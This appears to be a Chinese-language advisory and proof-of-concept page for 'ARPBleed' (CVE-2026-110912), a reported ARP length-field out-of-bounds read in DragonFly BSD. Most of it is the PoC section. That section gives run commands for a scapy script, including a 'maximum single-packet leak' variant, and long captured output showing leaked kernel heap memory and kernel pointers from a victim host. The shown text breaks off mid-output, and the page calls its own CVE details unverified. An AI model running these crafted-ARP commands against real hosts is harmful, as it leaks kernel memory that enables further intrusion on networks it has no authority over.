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🩸 概述

ARPBleed 是与所报告的漏洞 CVE-2026-110912 相关联的名称，该漏洞涉及 DragonFly BSD 中对地址解析协议（ARP）数据包长度字段的不当处理。

根据初步漏洞描述，畸形的 ARP 数据包可能触发越界内存读取，从而可能通过网络响应泄露部分内核内存。

重要提示： 此处提供的漏洞详情为初步信息，在视为已确认之前，需要对照权威 CVE 记录和官方供应商公告进行验证。

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🩸 漏洞信息

属性	详情
CVE ID	CVE-2026-110912
漏洞名称	ARPBleed
报告的产品	DragonFly BSD
漏洞类型	越界读取
相关 CWE	CWE-130 — 长度参数不一致处理不当
报告的攻​​击向量	相邻网络
需要认证	据报告无需
潜在影响	内核内存泄露
报告的 CVSS 评分	7.1 — 未验证
报告的受影响版本	至 6.4.2 — 未验证
修复措施	验证官方供应商补丁

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🩸 技术背景

地址解析协议

地址解析协议（ARP）用于 IPv4 网络中将 IP 地址解析为硬件地址，通常是 MAC 地址。

当主机需要与本地网络上的另一台设备通信时，它可能广播一个 ARP 请求。具有相应 IP 地址的设备可以回复一个包含其硬件地址的 ARP 应答。

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🩸 PoC

CVE-2026-110912-ARPBleed.py - 单文件，需要 python3 + scapy 和 root（原始套接字）。

sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]

# heap leak  (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4

# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200

# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4

# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255

泄露的 ar_sha 区域的前 6 个字节是受害者的真实 MAC，ar_spa 的前 4 个字节是受害者的 IP——之后的所有内容都是越界的内核内存。捕获到泄露时退出码为 0，未收到回复时退出码为 2（已修复内核的行为）。

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验证输出

受害者：DragonFly 6.4.2-RELEASE（原版安装，QEMU virtio-net），10.170.0.10。攻击者：Kali，scapy 2.7.01，10.170.0.2，同一 L2 网段。

健全性检查（ar_hln 6，ar_pln 4）

=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0  attacker-mac=52:54:00:19:26:9a  victim=10.170.0.10
[*] ar_hln=6 ar_pln=4  arp_body=28  frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes  (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94  (victim interface MAC)

[#####] HEAP LEAK  (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
  0000: 52 54 00 df 04 94                               |RT....|

[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
  0000: 0a aa 00 0a                                     |....|

[*] reply ar_tha echoes attacker MAC + filler: True

[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0

堆泄漏（ar_hln 200，ar_pln 4）

=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0  attacker-mac=52:54:00:19:26:9a  victim=10.170.0.10
[*] ar_hln=200 ar_pln=4  arp_body=416  frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes  (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94  (victim interface MAC)

[#####] HEAP LEAK  (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
  0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
  0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
  0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
  0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
  0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00c0: 00 00 00 00 00 00 00 00                         |........|
  -- kernel pointers in heap leak: 7 --
    heap + 38 (abs  44): 0xffff000000000000
    heap + 39 (abs  45): 0xffffff0000000000
    heap + 40 (abs  46): 0xffffffff00000000
    heap + 41 (abs  47): 0xffffffffff000000
    heap + 42 (abs  48): 0xffffffffffff0000
    heap + 92 (abs  98): 0xfffff800462a1210
    heap +108 (abs 114): 0xfffff800462a1248

[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
  0000: 0a aa 00 0a                                     |....|

[*] reply ar_tha echoes attacker MAC + filler: True

[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0

栈泄漏（ar_hln 6，ar_pln 200）

=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0  attacker-mac=52:54:00:19:26:9a  victim=10.170.0.10
[*] ar_hln=6 ar_pln=200  arp_body=420  frame=434
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 434 bytes  (reply ar_hln=6 ar_pln=200)
[*] reply ether-src = 52:54:00:df:04:94  (victim interface MAC)

[#####] HEAP LEAK  (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
  0000: 52 54 00 df 04 94                               |RT....|